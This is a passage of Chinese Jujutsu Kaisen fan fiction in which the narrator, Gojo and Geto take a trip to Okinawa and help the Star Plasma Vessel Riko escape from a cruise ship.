我盯着他看了几秒,很软掏出手机啪嗒啪嗒几下在名叫孔时雨的中介那里迅速收了家庭票,然后把订票页面摆在他面前晃了晃。
“票都订好了,去吧去吧去吧。”
我用手肘杵了杵五条悟,让他和我一起劝说。
五条悟沉吟了一下:“既然杰不想去,其实不去也不是不行。”
“不行!”
“可以。”
我和夏油杰的声音同时响起,我先是瞪了一脸无所谓的五条悟一眼,然后才扭头看夏油杰。
“你要是再胡闹小心我带着杰和你离婚!”
五条悟嗤笑着仗着身高拨撩少女炸起的发丝。
“带着杰和我离婚?杰是你的婚前财产吗?”
“怎么不能是呢!”
第53章
最终。
夏油杰在赶来医护的注视下, 同意了一起去旅行。
前提是我们先把三人份的任务清空。
我踩着飞行咒灵,脚下是高耸入云的大厦,摸着下巴翻看手机:“三人份的任务如果要集中处理的话,还是挺轻松的嘛。”
夜半的风声越发急促, 脚下归于平静的大厦安静得诡异, 我视线艰难的从道路规划中拉开, 皱了皱鼻子。
夜风带来了奇怪的味道。
“好臭。”
我在飞行咒灵身上转了一圈,忽然微微偏头看向和大厦完全相反的方向, 搭在腰间的手抽出折扇朝侧前方的夜色挥去。
涌动着将这片空间包围的夜风忽然停滞。
空无一物之处陡然泵出一大股粘稠的血液,尖锐吃痛的哀嚎同时这才紧跟着响起。
背生丑陋双翼的咒灵嘶鸣着瘫软在我的脚尖。
圆滚的身体还在锲而不舍的朝人类的方向蠕动,咒灵的身体却已经开始自从尾端开始消散。
我合上折扇插回腰间,不再看选错人的咒灵,不过今天晚上不论选谁, 这家伙也逃不过就是了。
不过是二级而已。
而且在空中鬼鬼祟祟不断变换的死线超级显眼的。
我继续打开地图安排最佳任务路线,终点的冲绳被画了个大大的圈。
“嗯, 我看看下一站是……”
脚下微微晃动, 身侧悄无声息多出两个人。
我合上手机朝他们弯了弯眼睛:“走吧。”
抵达冲绳的时候是决定三人旅行的第二天晚上,我眯着眼睛迷迷糊糊的走出机场,行李箱忽然被人接走,换成了一只能够将我包裹的手。
我小声嘟囔, 不走心的扯了扯:“热。”
一只打着旋的冰激凌出现在眼前。
五条悟拿着冰激凌迎上我的目光,挑眉笑了起来:“还热吗?”
有视线从四周隐晦的投射过来。
我打了个哈欠,慢吞吞的捏住他的手腕, 在冰激凌上舔了一口, 然后打了个寒战。
“刚睡醒不想吃冰的,快走吧。”
看过来的视线越来越多了。
我忍不住撇开走的越来越慢的人,将帽子拉起,先他一步走出机场。
踏出机场的瞬间,冲绳带着咸腥气息的海风吹过脸颊,我深吸一口气,远远望见天空之上飞过的海鸥,唇角不自觉勾起笑意。
“海边啊——”
我顿了一下,看向发出含糊声音的人,少年的白色短发被海风向后吹拂露出光洁的额头,脸颊鼓鼓的嚼着什么。
我扶住头上忽然多出的帽子,声音有些迟疑:“话说回来,我们是不是忘了点什么?”
五条悟咀嚼的动作停了一下,包着鼓鼓的脸颊微微俯身,凝视着我陷入沉思:“……没有吧。”
我没忍住戳了戳他的脸。
唔啊,软乎乎的。
我放松下来,轻快道:“这样啊,那我们走吧,海边旅行……吸引视线的任务就交给我们吧!”
五条悟一手捏着黑川一帽子上垂落于脑后的兔耳,精神奕奕:“都来海边了,当然要去冲浪啦!”
这位毫不掩饰呢。
我左右看了看,又在他开心的表情下,忍不住也微微抿唇露出点点笑意。
夏天人流如织的海边好像也不那么可怕了。
十几岁的少年少女在夏日的海风下相视而笑,就连身边的空气都仿佛冒着清爽的粉红泡泡。
一道恶寒的阴影自上而下将两人笼罩。
“喂。”
五条悟拉开我的手,放进了什么东西。
我配合的露出好奇的眼神,等到他满意的挪开手指:“哇!贝壳!是心形的诶!好神奇!”
我举着心形贝壳对着阳光愉悦的欣赏。
“喂喂——”
五条悟眯着眼睛:“是吧是吧。”
他享受着黑川一陡然变化的表情,笑吟吟地将掌中的小贝壳一股脑倒进她捧着的手中。
我捧着满满一捧形状漂亮的贝壳,屏住呼吸,忍不住专心观察了一会儿。
“嗯?在看什么?”
发现我被跟上来的五条悟又折返回来,低头凑过来,柔软的发梢擦过我的脸颊,带来细微的樱花香气。
思绪被打断。
我猛地合上手掌,举着手掌跑到路边的工艺品摊位上买了一个漂流瓶,将所有贝壳都小心的倒了进去。
忙完我才注意到他好奇的目光,有些尴尬:“没什么,只是觉得确实……”
要是认真地说意识到收到礼物觉得很开心绝对会被嘲笑的。
“很可爱。”
他不知道信了还是没信,只是盯了我一会儿之后,若有所思的收回视线。
“给我等等的!”
“我说你们两个——要不要再想想到底忘了什么啊?”
我身体一僵,脑海里灵光一闪,心虚地转身朝面色黑沉的黑发少年挥手打了个招呼。
“啊杰,中午好。”
夏油杰垂落的黑发凌乱的披散,眼下还有越来越重的青紫,嘴唇干裂,一副萎靡不振的虚弱模样。
我们竟然将他一个人扔下了!
杰心里一定很难过。
我愧疚地咬唇,眼神动了动,朝一处奔去:“对了,杰你一定累了,等我!”
被留下的五条悟和夏油杰目送黑川一慌张着小跑离去的背影,忽然对视一眼。
五条悟搭上他的肩膀,还没说话,夏油杰就狞笑一声。
“任务途中忽然出现捣乱我的计划,自说自话的把我从…带出来加班,想说是买了机票出来旅游,结果家庭票只包括两个大人以及一米二以下的孩子,买不到机票让我飞过来就算了,竟然落地就把我忘了?”
一连串叙述让五条悟顿了顿,小心翼翼收回自己的手,后退一步。
他试探:“你伤口还没好?”
不说还好,说了之后,夏油杰本就黑沉的脸色瞬间变得极为可怕,可怖的黑气从他身后冒出。
“你这家伙!来打一架!”
五条悟扬眉,将墨镜下推到头顶:“打就打。”
捧着鲷鱼烧回来的我听到这一连串叙述,流着宽面泪跪滑到两人中央打断施法。
我将鲷鱼烧高举过头顶:“千错万错都是我的错,是我发现杰和定的票,请一定要让我赎罪!”
夏油杰疲惫地目光落在下方,在越来越引人注目之前,捏了捏鼻梁,拿过鲷鱼烧。
“赎罪什么的,你先起来。”
我左右肩膀同时被抓着拉了起来,在夏油杰的要求下,我们先去了酒店。
一路上我都在不着痕迹的关注着夏油杰的脸色。
是真的很差啊! !
我和一个房间的五条悟对视一眼,谨慎地咽了咽口水,惊恐地说:“难不成真的是……”
他同样严肃,墨镜被随手扔到一边,天空般的瞳孔中带着三分怜惜三分惊恐三分凝重一分震撼:“难不成真的是……”
“受伤了?”
“伤口发炎?”
隔壁陡然传来一声沉闷地撞击声。
我们房间里倒是陷入了诡异的沉默。
我和五条悟对视,总觉得我们说的并不是一个东西,又不敢确认。
鉴于五条悟身上有丰富的坑人前科,我的大脑自动跳过了刚才的发言,转移话题。
“你有没有听见什么声音?”
他微微侧头:“似乎……”
“救命啊!你这个混蛋快放开我!”
我猛然站起来往门外跑去:“是求救!”
我和对面的门同时打开,三人朝左侧走廊看去,海军领制服的黑发少女被人扛在肩膀上朝电梯走去。
她也看见了他们,眼神一亮,朝这边伸出手:“救命!这家伙不是好人!”
我迟疑了一下,扛着少女的壮汉就转身露出正脸。
“哟。”
壮汉熟悉的脸让我瞳孔震了震,来到喉间的话哽住。
早已死去的回忆正在攻击我。
我勉强按住跳动的眼角:“伏黑君?你这是?”
伏黑甚尔看在她让他大赚了一笔的面子上,抓着天内理子的衣领在三人眼前展示了一下,随口道:“来抓离家出走的星浆体。”
被像猫一样拎在他手里的天内理子张牙舞爪的继续挣扎,一张小脸都憋的通红。
“你才离家出走,妾身只是出来放松一下,时间到了会自己回去的!可恶,你们都是一伙的!”
我疑惑:“星浆体?”
五条悟拿出手机敲敲打打,对面很快将整合的资料发了过来,脸颊黑发不知为何有些湿漉漉地夏油杰去和伏黑甚尔交涉。
“既然是误会,请先把人放下来吧伏黑君。”
我拽着五条悟的手腕凑过去一起看发来的资料。
天元大人……结界……星浆体……
资料并不多,一目十行看完也就几分钟。
我松开手,看向黑发少女:“真的假的?让妙龄少女去和活了不知道多少年的家伙融合?”
总觉得听起来更像是夺舍呢。
伏黑甚尔被三人围住,啧了一声:“总之把人带回去就是我的任务,与你们无关,走了。”
一阵疾风从走廊划过,扛着天内理子的男人微微侧身,疾风堪堪擦过他的侧脸。
五条悟蹙眉看向天内理子:“等等。”
夏油杰堵住另一头,朝他提了提唇角,眼神幽深:“先去房间里谈一下怎么样?”
伏黑甚尔左右看了看,最终将目光落在我身上,带着询问。
我从夏油杰身上收回视线,复杂的视线和伏黑甚尔对上,心里一顿不可置信:问我?
第54章
铺着红色绒地毯的酒店走廊。
对峙着的四人齐刷刷朝我投来视线。
诶?悟你竟然……怎么就连杰也看过来,当事人也这么看着我?
我擦掉额角缓缓滑落的冷汗,犹豫着将房间的门打开,随手摊开手掌:“嗯……要不然我们还是先坐下来谈谈?”
所有人的视线集中到掌心躺着的那张黑卡上,一时间失去了言语。
就算伏黑甚尔是黑市的雇佣兵,也不可能这么轻易就反水吧?
伏黑甚尔抽走卡片,路过几人率先进了房间,左右打量了一下,随口道:“有什么话,说来听听。”
……竟然还真这么容易。
我紧张地看着他取走自己的积蓄,心在滴血,目光跟着一起动,除开五条夫人的零用钱就连我的工资都在里面啊。
居然全部都拿走了。
发顶忽的一重。
五条悟的声音从上方传来:“哈哈哈小一看起来都快哭了呢。”
一只手按在我身后带着我们两人往前走。
夏油杰叹了口气:“总之先进去吧,顺便了解一下那个星浆体到底是怎么回事。”
我点点头, 露出一个贫穷的笑容:“说的也是。”
随即不再理会身后五条悟的闷笑,面无表情的大步走了进去,在伏黑甚尔对面坐下。
我扫过天内理子被伏黑甚尔压制的姿势, 朝她伸手:“不介意的话,坐到这边吧, 那家伙脑子里完全没有边界感这种东西。”
伏黑甚尔靠在沙发上向张开手臂懒散的把玩手里的卡片, 对我的话无动于衷。
天内理子眼神一亮,抓住我的手,灵活的窜了过来贴着我坐下。
迟了一步走进来的五条悟,看了她一眼:“啧。”
只能和夏油杰一起挤一个双人沙发。
我的眼神恋恋不舍的从在空中翻飞的卡片上挪开, 对伏黑甚尔开门见, 或许是直觉。
我觉得对这家伙除了钱之外,果然还是得我自己来沟通。
从刚才开始伏黑甚尔好像就没有怎么关注过五条悟和夏油杰,明明那两个人存在感超级显眼来着。
难道是他身为天与咒缚对这些天才不感冒?
等等,我忽然意识到了盲点,可恶,她好歹也是有名气的一级咒术师了诶,怎么说也能算是比较厉害的类型吧?
我默默握拳,强行将注意力拉扯回来。
没错,这家伙一定是因为不喜欢和男□□流才对!
我握拳在唇边轻咳一声:“带回天内理子如果是任务的话,我们怎么样才能让你放弃任务?”
顿了顿,我心痛地补充:“那里面有五千万左右,应该高于你的佣金吧。”
伏黑甚尔察觉到手指上格外灼热的视线,又饶有兴致地在她眼前晃了晃才将卡片收好。
“我的任务完成率可是百分之百,贸然放弃任务对我可没什么太大的好处。”
我皱了皱眉,身边天内理子抱着我手臂的动作紧了紧。
伏黑甚尔看够了我犹豫的神情,好心地说出方法:“除非你有办法在我带人走之前,让发布任务的家伙取消。”
我眼睛一亮:“是谁发布的任务?”
“不知道哦。”
他摊手。
……你耍我?我磨了磨牙,想要站起来朝他嬉皮笑脸的模样踹一脚,耳边却传来另一道声音。
天内理子小声道:“我知道是谁。”
几束目光落在她身上,她紧贴现场唯一对她散发善意的女孩子,小声说:“是总监会的大人。”
“因为妾身是星浆体啊,马上要和天元大人进行同化,所以这次我出来他们才这么着急吧。”
我望着她瞳孔放大。
“同化?”
天内理子居然知道的很清楚,清楚的明白自己身为人,却无法拥有未来的命运,明明有不舍却只能认同这种东西。
总监会那些人还真是……残忍。
天内理子却理所当然的点点头:“妾身是作为天元大人的容器而存在的,过不了几天,妾身就即将成为天元……”
“唔?”
她疑惑地看向捂住她嘴巴的黑川一,这时候才发现这位同样拥有一头黑发的少女,有一双很……引人注意的眼睛。
是蒙着淡淡灰色的钴蓝。
说不上难看,却也不像普通人一样清透亮眼,垂眸的时候显得很没精神,此时平静的注视着她,却让天内理子移不开眼睛。
那双眼眸深处是模糊不清的温柔与怜惜,定睛看去又似乎没有,让人探究。
天内理子想,也许来自神子的垂怜会显得高高在上,而这双普通人的眼睛却会让人平白生出暖意。
她是真的在为自己担心,又全熟练的压在眼底。
自爸爸妈妈车祸去世后,成为星浆体的天内理子第一次有了冲动,她抓住黑川一的手,凑上去在她的脸颊轻轻落下一吻。
“偷跑出来是因为我想要看看大海,如果可以的话,我想一辈子都住在能看见海边的位置。”
我摸了摸脸颊,热意一点点从脖颈升腾,不知所措的移开视线。
然后对上三双眼睛。
我:“……”
五条悟第一个站起来,两步走到天内理子面前,伸手没好气的把人拎了起来,扔到夏油杰旁边。
他自己一屁股坐在天内理子原先的位置上,朝愤怒地天内挑眉:“你以为自己在亲谁的老婆啊!”
我默默往旁边挪了一点:“好挤。”
才挪了一点,我的肩膀就被揽住,手臂的重量不容小觑,我扛着五条悟的手臂转头看他,面露难色。
他却架着腿,甩了甩手机对伏黑甚尔说:“你等着。”
我犹豫了一下,看他和夏油杰的脸色都挺胸有成竹,还是没有开口。
咒术界高层一同做的决定,真的会因为五条家改变吗?
我听懂了天内理子的话,心里松了口气的同时,因此更加担忧,天内理子被迫背负上这样几乎逃不脱的命运……
半个小时后,我们三人的手机同时震了震,接到了新任务。
【护送星浆体前往高专与天元大人同化,时限一个星期】
伏黑甚尔离开后,我才说出心里的话:“如果天内不想去的话,我们……”
五条悟、夏油杰:“当然是让她离开了。”
我和天内理子都惊愕地看着他们。
我抿唇笑了起来:“真高兴你们也这么想。”
第55章
三人对视一眼, 都从对方眼中读出了相同的意味。
五条悟特意凑过来,大掌在我发顶胡乱搓揉,声音轻快:“刚刚你的表情这么严肃是在想什么?”
“难不成小一想抛弃我们自己独自英雄救美?”
我眼神飘忽着,不与他对视,眼神却忽然与坐在对面的夏油杰相触,他撑着额头斜靠在沙发上,似乎有些疲惫。
注意到我的眼神,他抬头面色如常的朝我笑了笑,转头和天内理子说了什么,随后起身提议。
“既然天内想要看冲绳的海,不如在离开之前一起去一次海边?”
天内理子不着痕迹的擦了擦眼睛,满怀期待的看向我。
看错了吗?
我将忧虑放在心底,在天内理子失落的眼神下和五条悟走在一起,跟在两人身后。
前方黑发少年半长的头发用一根发绳半扎束在脑后,和天内离子说话的时候面色也格外柔和, 刚才眼底沉沉的情绪像是我的错觉。
说起来最了解夏油杰的不是我, 应该是这个人才对,我转头去看五条悟。
那人已经领先我几步,在沙滩上捣鼓什么,我加快脚步凑了过去,扯了扯他的衣摆。
五条悟抓着一只螃蟹大笑着转头展示:“快来看,我们晚上就吃这个怎么样?”
我后仰躲过螃蟹张牙舞爪的大钳子,手里的树枝往前一戳, 面无表情的结束了这只大螃蟹的人生。
“不要这样拿着螃蟹挥来挥去,很危险啊。”
没看到四周的游客都自觉和他们保持距离了吗?
“切。”
五条悟扔掉螃蟹,插兜走过来,俯身盯着我的眼睛,湛蓝色的瞳孔一瞬间仿佛看透了我所有的想法。
“从刚才起小一就一直在看着杰,我会吃醋哦。”
我:“……”
真的假的?
这家伙居然有这根筋。
我按了按额头,决定开门见山:“不觉得杰最近有点不太一样吗?”
“虽然没有根据,但总觉得放心不下。”
五条悟沉吟了一下。
我屏息等待。
结果他忽然朝前方的两人大声喊道:“喂,我和小一晚一点到哦。”
我眨了眨眼,虽然不知道发生了什么……我从善如流的把手放到嘴边大声叮嘱:“听说涨潮的时候有很多海鲜会被冲上来帮我抓一点哦!”
夏油杰无言:“那两个人又想干什么?”
还说小一完全被带坏了啊!
我跟着五条悟来到一条隐蔽的巷子,然后满头冷汗地看着他实验自己刚开发不久的瞬移术式。
瞬移这种还未开发好的术式真的能带人吗?
不安desu.jpg
“好了。”
忽然消失又重新出现的白发少年兴奋的看向我,完全没看出我面无表情下的抗拒,直接拦腰将我扣在身边飞到半空中。
他左手食指和中指竖起结印放在身前,我眼前一花,一股无法形容的牵扯和失重感从四周挤压而来。
再次睁开眼眼前已经不是冲绳的海边而是一所学校。
廉直女子学院几个字明晃晃的摆在眼前。
我终于问出了憋在心里的问题:“这里和杰有什么关系难道说……”
我左拳击打在掌心,恍然大悟:“难不成他其实在背着我们恋爱,现在是被人甩了吗!”
他带着我躲到一旁避开新人和学生,理所当然的说:“不,你想多了。他肯定是因为星浆体的事情不开心。”
“只要星浆体的事情解决,他一定会好起来。”
我:“是这样吗?”
五条悟兴致勃勃地带着我潜入学校,他左右看看,很快确认了方向:“据资料描述,天内还有一位从小照顾他长大的家人。”
“天内离开这里这个女仆也是关键人物,我们干脆把她一起绑架了,到时候一起送走好了,天内绝对会感谢我们的”
天内理子感不感谢我们我不知道,但名叫黑井美里的女仆看起来倒是想用眼神杀了我们。
我收回想要解释的话默默拉住还在调戏人家的五条悟:“走了,悟。”
“嗨嗨——”
他拉长声音勾住我,单手提起失去自由的黑井美里,失重和挤压感再一次袭来,海鸥和海浪的声音同时传入耳膜。
安全降落。
我松了口气朝那边玩水的两人招了招手。
天内理子笑着小跑过来拽住我的手臂:“你去哪儿了?只有怪刘海一个人陪着我好无聊啊,他一直在抓螃蟹。”
勤勤恳恳带娃和准备晚餐食材的夏油杰,提着桶跟在她身后,闻言眼角抽了抽,把桶和铲子都塞给五条悟。
“我这是为了谁啊?”
“大小姐你没事吧!”
一道女声忽然打断了几人的对话,黑井里美不知何时挣脱了绳子,冲到天内理子面前握着她,确认她没事之后警惕的将人拦在自己身后。
黑井美里面色凝重:“大小姐请站在我身后,这些人来路不明,贸然接近我等非常可疑。”
虽然她警惕地看着我们,但视线主要集中在五条悟身上。
我默默抖了抖肩膀将他老是黏在我身上的手臂抖了下去,默默和他划清距离。
我转过头小声嘀咕:“都说了要好好解释一下,非要绑架,完全是为了满足你的恶趣味吧?”
五条悟摊了摊手,被抖开的手顺势插兜:“切,不是很好玩吗?”
我:“……并不好玩。”
说的没错,这家伙确实很可疑啊!
眼见着好奇围过来人越来越多,我迅速摸了个口罩带上,挡住脸之后局促的感觉果然好多了,用眼神示意五条悟去好好说明情况。
结果这家伙完全没领会我的意思,还正大光明溜溜达达叫住了卖冰激凌的小摊,掏钱买了超大份冰激凌。
才吃过又吃这么多冰的,特级咒术师就不会因为乱吃东西吃坏肚子吗,可恶!
好在我们还有可靠的同伴。
我看向夏油杰,他温和的解释:“请放松,将您请过来是有原因的,天内应该会很开心亲自和你说明。”
我站在他身后连忙点点头:“嗯嗯。”
黑井美里看了我们一会儿,拉着天内理子朝另一边离开,走出我们的视线范围。
我注视着她们的背影眨了眨眼。
关系真好啊。
一大盆五颜六色的冰激凌球出现在眼前,白发少年肉眼可见的心情不错,声线上扬:“快看,五种口味的冰激凌球!”
“怎么样,现在想要尝尝吗?”
我怔了一下,又看了一眼眼熟的冰激凌摊位,好像和上午的是同一个。
心头刚刚升起的奇异情绪在他专注的眼神中烟消云散,拿起勺子重新尝了尝上午食不知味的粉色小球。
清爽的樱花风味在口中蔓延开来。
“好吃。”
视野当中的白发少年嘴角提起露出爽朗的笑意,紧接着把其他口味都让我尝一尝。
“唔!薄荷巧克力的味道好特别!”
“香草?好冰,比起这个奶香味要浓郁一点,好吃。”
“呼~橘子味的?”
接连吃了好几口我的嘴唇和味蕾似乎都开始冻住了,但还是抵不住五条悟看过来的眼神,勉强张口吃下最后一个口味。
熟悉的味道强势的扩张至整个口腔,我眼前一亮,下意识多尝了一口,捧脸:“橘子味果然赛高!”
耳边欢快推荐的声音消失了。
我叼着勺子看过去,少年身后清澈的天空积蓄了些云彩,他似乎有什么想说,最终还是吞了下去。
五条悟在好友狐疑地眼神中,轻笑:“这么喜欢吗?”
他拿着精致的小勺轻描淡写的铲起了一整颗球塞进嘴里,嘴角冻得泛起了红,呼出一口白气。
“嗯,我也觉得不错,但是但是!小一不觉得樱花风味的最特别吗?”
不,我不觉得。
我重新把口罩从下巴拉上去,用行动表达拒绝,郁闷地朝天内理子那边走,脚步在地上留下一个个小坑。
“可恶,绝对是故意的,居然一口气全部吃掉了。”
夏油杰单手叉腰看完两人的互动,忽然有些撑了。
眼看天内理子带着人回来了,他手动拉回了五条悟的注意:“走了,差不多该上船了。”
他看着好友心不在焉的表情,忍住叹气的冲动:“你刚才不是订了邮轮的票吗?不去了?”
我一靠近天内理子的视线范围,手臂就迅速刷新一只挂件,然后被她隆重介绍给黑井里美。
“里美,小一就是从肌肉大猩猩手里把我救下来的恩人!”
我沉思着打了个招呼。
肌肉大猩猩?
记忆中的触感忽然浮出水面。
咳,好像也没错。
黑井里美眼角微红,似乎是哭过了,此时表情冷静了许多,双手放在身前朝我鞠了一躬。
“请原谅我之前的无礼,以及非常感谢三位的帮助!”
我有些手忙脚乱的把深深弯腰的黑井里美扶了起来,面对两人亲近的眼神,油然而生一种责任感,开始绞尽脑汁的开始寻找话题。
主动开启话题杀死了我不少脑细胞,我不安地回头,催促另外两个家伙快来救场。
结果那两人居然不知道在后面看了多久热闹!
我朝天内两人微微一笑:“稍等一下。”
我平静转身,视线在两人身上迅速飘过,杰最近状态不对今天也辛苦他一个人带着天内还帮我抓螃蟹,过。
“悟?”
我朝高个子的白发少年招了招手,他停顿了一下,摘下墨镜凑了过来。
“怎……唔噗——”
我松开他的衣领,勾到他的墨镜重新,给他挂脸上,后退一步看着他捂着脑门蹲在地上。
有点疼,但气势不能输。
我强忍着脑门的疼痛,看向夏油杰:“你们准备的怎么样?”
夏油杰无慈悲的路过抱头悲鸣的好友,拿出五张票。
“五天四夜豪华邮轮的船票,到船上甩开眼线就让她们直接从海上离开。”
我看向那五张票,眼神一亮:“哇——”
豪华邮轮诶!
第56章
跟在高专几人身后的日向白疲惫的叹了口气, 掏出手机给自己也订了豪华游轮的船票。
这几人完全不像是在做任务,感觉像是在旅游啊!
现在还莫名其妙多了一个星浆体。
他拿出任务报告,犹豫了一下开始动笔向:高专三人极为谨慎的在冲绳海岸探查,伪装毫无破绽,冲绳极有可能隐藏有关绢索的秘密,星浆体被主动接触,一行人准备进入邮轮,一旦进入海面我方的掌控力就会下降,在下申请船票经费若干,请诸位大人静候佳音。
他抖了抖任务报告长叹一声,短短一张纸竟全是他工作的几年来积攒的精华。
纸张逐渐消失在空气中。
·
我扶着栏杆站在船舷,吹着海风朝远处眺望:“大海啊——”
终于换下制服裙换上清新连衣裙的天内理子站在我最手边,表情放松:“是大海啊——”
我勾着耳侧被风吹得四处飞舞的鬓发,转头望进她暗含希冀的眼里,即将获得自由的天内理子由内而外散发着一种轻松。
让我忽然有种想要留下些什么的冲动。
“理子。”
她捧着脸转过头,眼眸里印着海面的波光:“嗯?”
“咔嚓!”
天内理子立即跳了起来, 凑过来和我一起看抓拍的照片:“好狡猾,居然偷拍!不行, 我们要一起拍合照!”
说起来我似乎很少拍照。
我看着撒娇的天内理子,迎着海风从另一边甲板走来的几人,忽然踮脚朝那边用力挥了挥手。
以前大概是觉得普通的生活没什么好纪念的。
但是现在。
我把理所当然的把手机递给手最长的家伙:“我们一起来拍一个合照吧!”
五条悟额头还带着微红的印子,看了她一眼,还是接过手机举高,将夜色下一望无际的大海以及五个人一同定格。
我接过手机, 还没来得及说话,他就懒懒散散的跟夏油杰一起去了泳池。
我看了会儿他的背影。
奇怪。
“小一!我们去那边也拍几张吧,美里说会帮我们拍!”
我被兴奋的天内理子拉走, 视线内顿时失去了那头显眼的白发,只好快步跟上,上楼梯的时候肩膀忽然被人撞了一下。
对方表现得很慌张,戴着鸭舌帽看不清面容:“对不起!非常抱歉,是我刚才没看清路线!”
我本来想说没事,视线却忽然顿住,落在他的手上。
装着纪念品的手提袋里晃晃荡荡的躺着一个眼熟的手作冰激凌的标识,是那家冰激凌自制的礼品,因为实在是很可爱我也留了一个。
虽然可能是巧合,但在我们可能被人监视的情况下,出现一个遮遮掩掩还和我们同样路线的家伙,怎么看都非常可疑。
我抓住他的胳膊,在他惊疑不定看过来的时候,递过去一张纸巾。
“我没事,倒是你,请擦一下吧。”
我指了指他的嘴角,那里还残留了一点冰激凌的痕迹,然后在他起疑之前若无其事的转身离开。
日向白头皮发紧的离开原地,重新窝回他提前抢占的窝点,松了口气。
还好没被发现。
他无辜的在众多突然有事的同事当中获得这次任务,也很茫然啊摔!
没说考进总监会当公务员还要干这种事,他完全没有经验就算了,对面居然还有两个特级一个一级咒术师!
被发现的话绝对会死得很惨。
日向·打工人·白吸了吸被海风吹出的鼻涕,开始在绝对不会被人发现的位置带薪摸鱼。
“哟,睡着了吗”
刚刚闭上眼睛的日向白一个激灵蹦起来,头顶撞到桅杆,又痛苦地闭眼按住脑袋,不敢再看忽然出现的白毛。
人不应该不可能一直倒霉的对吧?
往好处想说不定船上也有其他游客是时尚的弄潮儿呢?
半晌没听见声音的日向白缓缓睁开眼睛,对上一双雾霭沉沉到无机质的眼睛,这更是眼熟。
我见他一脸呆滞,迟疑了一下,面无表情的伸出一只手,同样打了个招呼。
“哟。”
不行,这完全不能自欺欺人下去了啊!
日向白飞速跪滑,屈服道:“两位大人你们听我解释啊!”
我按住蠢蠢欲动的五条悟,好心道:“那你说吧,我们给你从宽处理。”
……等等,不对吧。
日向白脑袋飞快转动,按照正常来说,被跟踪的对象不应该是非常恼怒,见到人就想一巴掌,我这种没骨气的家伙更是两巴掌。
出一顿气之后大概率会被逼近最佳藏尸地点大海。
而他早有准备,上船之前已经买好了自动充气的救生衣和皮划艇,现在就在……等等我的救生衣和皮划艇怎么不见了!
我在他眼前晃了晃手指,幽幽的说:“你都说出来啊。”
好可怜,总觉得他就绝对是遇见过这样的人,才会这么熟练。
日向白天塌了:什么?
他面色灰白的看着五条悟把玩他最后的退路,彻底委顿在地,一股脑把自己的职场糊弄学任务报告复制给他们一份。
五条悟看着凭空出现的纸张,眼前一亮:“哦!很有趣嘛你的术式?”
日向白谦虚道:“不过是□□打印传真机而已。”
我看他们俩之间的关系越来越缓和,忽然指向海面:“等会儿就会有船过来接走星浆体。”
“啊哈哈哈是这样的吗?这样说还真是不好意思……星浆体!?”
日向白扶着额头,看起来下一秒就要晕倒,气若游丝的说:“你不会要告诉我其实你们这一趟根本不是带着绢索的秘密,而是为了放走星浆体的吧哈哈真会编故事。”
五条悟打了个响指。
“bingo,答对了。”
他搭上日向白的肩膀,手指指向我:“你知道小一的术式吧?”
嗯?
我被日向白越来越惊恐的视线盯着,只能板着脸站在原地,充当没有感情的的npc 。
五条悟:“其实我们很看好你的能力,能够跟着我们一直到这里,作为二级咒术师来讲已经很不错了。”
日向白继续汗流浃背。
“所以要不要考虑跳槽?”
日向白茫然情绪有点跟不上了:“啊?”
五条悟移动手指落在前方海面隐约出现的船只上。
“那是五条家的人,同意的话可以直接入职。”
日向白犹犹豫豫。
我握拳轻咳一声:“这可是boss直○。”
被御三家之一的五条家主看中,对兢兢业业想进步的公务员来说太有诱惑力了。
日向白眼神坚定的:“我干了!”
我忍笑和同样眉眼含笑的五条悟对视一眼,结果他竟然顿了一下,主动断开视线。
我缓缓眯起双眼:“嗯?”
第57章
夜已经深了。
一望无际的海面平静无波, 谁都没有发现有一艘关闭了信号灯的船正在缓缓靠近。
灯火通明的邮轮上,大部分宾客都集中在3楼宴会厅,衣着光鲜的男男女女随着音乐在舞池旋转。
那船静悄悄的停在被邮轮雷达发现的边缘。
有两个人端着酒杯交谈着从宴会厅走出,待在阳台的白发少年碰面,自然而然的气场让其他人自觉的不再靠近。
阳台垂落的蕾丝窗帘被风拂起, 三人如从没存在一般消失在原地, 偶然瞥见的宾客揉了揉眼睛,以为是他喝多了的幻觉。
日向白提前一步登上小船, 目睹了这一切的发生,抽了抽嘴角,觉得投靠五条家也许是他近几年做的最正确的决定。
那艘船成功登上的监视者绝对不止他一人。
难道五条悟没有发现他们吗?
他带着天内理子两人进入船舱,神情庆幸。
怎么可能没发现?只不过是他比较幸运,遇到了黑川一。
·
我被迫换上了一身黑色吊带长裙,黑发被夏油杰在脑后团成一个圆润的发髻,端着盘子在长桌上挑挑拣拣。
余光扫过窗外,那艘几乎隐身的船只已经消失不见。
夏油杰的端着杯香槟,从隐蔽的角落走过来,站在她身边一同看窗外,话音里还有未散去的喘息:“已经离开了?”
“嗯。”
我点点头,把手里另一个盘子塞给他,顺便从他手里接过香槟,喝了一大口,然后表情皱成了一团。
“难喝。”
我重新端了杯水,找了个隐蔽的卡座,视线看向夏油杰:“没想到游轮上也会有一级出现呢。”
“已经调服了吗?”
夏油杰从口袋里掏出一颗颜色奇的圆润球体递过来,我好奇地接过来,托在掌心看了会儿。
“哇,比我的手心还大,然后准备怎么做,这就算是你的式神了吗?”
我尝试着将它放到眼前观察,又朝它吹了口气,使劲搓了搓圆溜溜的表面,那种恶心的形态居然能变成这样,完全看不出危险了。
“总感觉和想象不太一样诶?”
他看着我的动作,表情逐渐微妙,最终在我打算释放一点咒力试试的时候,微笑着拿走咒灵玉。
按着我的脑袋转了个方向,指着那边说:“乖,别玩了这个了,去那边吧。”
我被迫调转视线,以一己之力拉高全船平均身高水平的白发少年侧对着我,四周环绕着一圈女孩子,我看不清他的神情,只能隐约瞧到上翘的唇角。
视线动了动。
与他说话的女孩子也很漂亮,穿了一身看起来很高档的丝绸连衣裙,仰着头说话的时候,脸颊上还有可爱的绯红。
我看着那边思考了两秒要不要去帮忙脱身,转动的视线忽然被大厅另一边的设施吸引。 !
“居然是街机啊,这样的豪华游轮上居然设置了街机!”
不玩的话设置这个小巧思的设计师绝对会失落悲伤黯然离去晚上说不定还会失落得睡不着觉。
我想玩。
我拽着夏有杰站了起来,气势汹汹的朝大厅另一边的街机赶去,成功在被别人占据之前抢占了两个位置。
完全没看到五条悟从人群中精准投过来的眼神。
夏油杰和他的眼神对上耸了耸肩。
他已经尽力了。
他无奈地被按在座位上,看向眼前的游戏机:“所以玩什么?”
我神色坚定的选好冰女。
夏油杰:“好吧,我火男。”
他从一开始的半强迫,到后来的顺从,再到战意渐起,两人完全将另一个人抛在脑后。
五条悟磨了磨牙,分开人群,随手从桌上拿了一杯饮料一饮而尽。
